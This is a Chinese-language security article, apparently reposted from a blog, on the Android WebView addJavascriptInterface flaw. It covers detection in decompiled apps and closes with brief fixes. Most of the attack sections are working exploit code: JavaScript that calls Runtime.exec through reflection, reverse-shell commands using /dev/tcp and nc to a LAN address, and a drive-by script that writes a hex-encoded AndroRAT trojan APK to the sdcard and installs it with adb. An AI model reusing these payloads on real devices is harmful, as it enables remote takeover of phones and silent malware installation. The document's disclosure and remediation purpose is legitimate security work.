安卓應用存在安全漏洞,瀏覽網站打開鏈接即可中招。目前有白帽子提交漏洞表明目前安卓平台上的應用普遍存在一個安全漏洞,用戶打開一個鏈接就可導致遠程安裝惡意應用甚至完全控制用戶手機,目前微信,手機QQ,QVOD以及各大手機瀏覽器均中招
0x00 背景
在android的sdk中封裝了webView控件。這個控件主要用開控制的網頁瀏覽。在程序中裝載webView控件,可以設置屬性(顏色,字體等)。類似PC下directUI的功能。在webView 下有一個非常特殊的接口函數addJavascriptInterface。能實現本地java和js的交互。利用addJavascriptInterface這個接口函數可實現穿透webkit控制android 本機。
0x01 檢測利用
一般使用html 來設計應用頁面的幾乎不可避免的使用到addJavascriptInterface,包含不限於android瀏覽器。
在android 代碼程序一般是這樣使用:
1
2
3
|
settings.setJavaScriptEnabled(
true
);
settings.setJavaScriptCanOpenWindowsAutomatically(
true
);
mWebView.addJavascriptInterface(
new
JSInvokeClass(),
"js2java"
);
|
這里可以用
apk->zip->dex->dex2jar->jdgui->java
代碼來查找。
但建議用apktool 反編譯smali(畢竟不是所有apk都能反編譯成java代碼)
在smali代碼中 則是類似下列的代碼:
const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
當檢測到存在上述代碼時,可以進行進一步驗證利用:
在11年,已經有人利用addJavascriptInterface進行文件讀寫,並放出簡單的poc,到12年出現了簡單的執行代碼的exp。利用的是反射回調java類的內置靜態變量。如下列的利用代碼;
<script>
function execute(cmdArgs)
{
return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
…
</script>
利用java的exec執行linux的shell命令。
0x02 遠程獲取shell
套用yuange的一句話:Poc遠遠小於exp的價值。
利用addJavascriptInterface實現shell.
Android內部的armlinux 是沒有busybox 的,一些常規彈shell的方法被限制。
使用了java的反彈shell方法
//execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);
在Nexus One 4.3的android虛擬機 並未成功彈出shell.
后發現android中可執行 nc命令 (閹割版的不帶-e的nc)
這里用了nc的另外一種彈shell的方法完成
Exp 內容:
1
2
3
4
5
6
7
8
|
<script>
function
execute(cmdArgs)
{
return
XXX.getClass().forName(
"java.lang.Runtime"
).getMethod(
"getRuntime"
,
null
).invoke(
null
,
null
).exec(cmdArgs);
}
execute([
"/system/bin/sh"
,
"-c"
,
"nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"
]);
alert(
"ok3"
);
</script>
|
// 注 xxx 保護隱私用xx代指。
效果如下

當然可以用遠程IP地址。
0x03 遠程掛馬
畢竟是android環境,shell使用不是很方便。類似xsser肯定不滿足於此。
再升華下,實現網頁掛馬。
Android 4.1已經加入ASLR技術,堆噴射之類不再有效。UAF要針對android的內核版本。利用自身特性的漏洞是目前比較靠譜的方法。
這里以androrat遠控木馬為例。
實現網頁掛馬
大部分瀏覽器已經對下載文件進行保存提示。這里需要把andrat.apk寫到掛馬網頁之中。
1
2
3
4
5
6
7
8
9
10
11
|
<script>
function
execute(cmdArgs)
{
return
xxx.getClass().forName(
"java.lang.Runtime"
).getMethod(
"getRuntime"
,
null
).invoke(
null
,
null
).exec(cmdArgs);
}
var
armBinary =
"\x50\x4B\x03\x04\x14\x00\x08\x00\x08\x00\x51\x8F\xCA\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x04\x00\x72\x65\x73\x2F\x6C\x61\x79\x6F\x75\x74\x2F\x6D\x61\x69\x6E\x2E\x78\x6D\x6C\xFE\xCA\x00\x00\xAD\x52\x31\x6F\xD3\x40\x18\xFD\x2E\x76\xAE\x86\xC4\x69\x5A\x3A\x54\xA2\x12\xA9\xC4\x80\x22\x61\xE3\xAA\x42\x4D\xC7\x22\x86\x4A\x91\xA8\x14\xC4\x0A\x56\x7C\xC2\x27\x68\x1C\x39\x57\x0A\x53\x11\x3B\x63\x37\x06\xFE\x01\x33\x1B\x43\x17\x36\x56\xFE\x07\xAC\x6D\x9F\xCB\x1D\x3D\x
……
var patharm = "
/data/app/Androrat.apk
";
var a=execute(["
/system/bin/sh
","
-c
","
echo -n +armBinary+ >
" + patharm]);
execute(["
chmod
","
755
","
/data/app/Androrat.apk"]);
|
這樣存在幾個問題:
andrat.apk的 hex value大約300k,瀏覽器或者java的exec可能對傳入參數大小有限制,(測試的瀏覽器有限制無法執行)
/data/app/ 目錄存在權限問題,需要root,chmod 也是同理。
Android這種靜默安裝要么是有root或者系統簽名的install權限,要么是做成預裝軟件的樣子並且重啟。或者是2.2 版本左右可以 通過調用隱藏api安裝。
經過進行fuzz實驗,完成了掛馬功能:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<script>
function
execute(cmdArgs)
{
return
xxx.getClass().forName(
"java.lang.Runtime"
).getMethod(
"getRuntime"
,
null
).invoke(
null
,
null
).exec(cmdArgs);
}
var
armBinary1 =
"\x50\x4B\x03\x04\x14\x00\x08\x00\x08\x00\x51\x8F\xCA\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x04\x00\x72\x65\x73\x2F\x6C\x61\x79\x6F\x75\x74\x2F\x6D\x61\x69\x6E\x2E\x78\x6D\x6C\xFE\xCA\x00\x00\xAD\x52\x31\x6F\xD3\x40\x18\xFD\x2E\x76\xAE\x86\xC4\x69\x5A\x3A\x54\xA2\x12\xA9\xC4
var armBinary2="
\x1B\xB0\x65\x0A\xAD\x23\xC2\x30\x64\xDF\xEE\xA1\x0D\xA4\xE8\x3F\x61\x80\xEE\xBC\xE1\xE7\x7B\x4A\x25\x6F\x8B\x36\x71\xC3\x80\x81\x58\xDB\xC9\x8F\x53\x9F\xEE\x8A\x45\xAF\x23\x54\x4A\xCF\x2B\x52\xF2\x33\x84\xBA\x82\x36\xC4\x0D\x08\xAF\xC2\x61\x8E\xD8\x7B\x0B\xFC\x88\x4A\x25\x24\x8C\x22\xFA\x76\x44\x78\x5E\x99\x62\x30\x44\x8D\xDB\x74\x94\
var
armBinary3=…
var
armBinary4=…
……
var
patharm =
"/mnt/sdcard/Androrat.apk"
;
var
a=execute([
"/system/bin/sh"
,
"-c"
,
"echo -n +armBinary1+ > "
+ patharm]);
//alert(a);
execute([
"/system/bin/sh"
,
"-c"
,
"echo -n +armBinary2+ >> "
+ patharm]);
execute([
"/system/bin/sh"
,
"-c"
,
"echo -n +armBinary3+ >> "
+ patharm]);
execute([
"/system/bin/sh"
,
"-c"
,
"echo -n +armBinary4+ >> "
+ patharm]);
execute([
"/system/bin/sh"
,
"-c"
,
"adb install /mnt/sdcard/Androrat.apk"
]);
alert(
"over !!!"
);
</script>
|
將androrat.apk拆分。
利用echo寫入到sdcard中(此目錄可讀可寫 不可執行)。
利用自身帶的adb進行安裝(安裝各種xx手機助手的不在少數吧)。

Androrat 成功安裝,這里使用了androrat的debug=true模式。
成功連接到控制端。
0x04 修復
1、Android 4.2 (api17)已經開始采用新的接口函數【java中應該叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升級,瀏覽器需要兼容。
2、在使用js2java的bridge時候,需要對每個傳入的參數進行驗證,屏蔽攻擊代碼。
3、控制相關權限或者盡可能不要使用js2java的bridge。
Link:
http://developer.android.com/reference/android/webkit/WebView.html
http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf
http://50.56.33.56/blog/?p=314
轉自http://www.cnblogs.com/security4399/archive/2013/09/05/3304193.html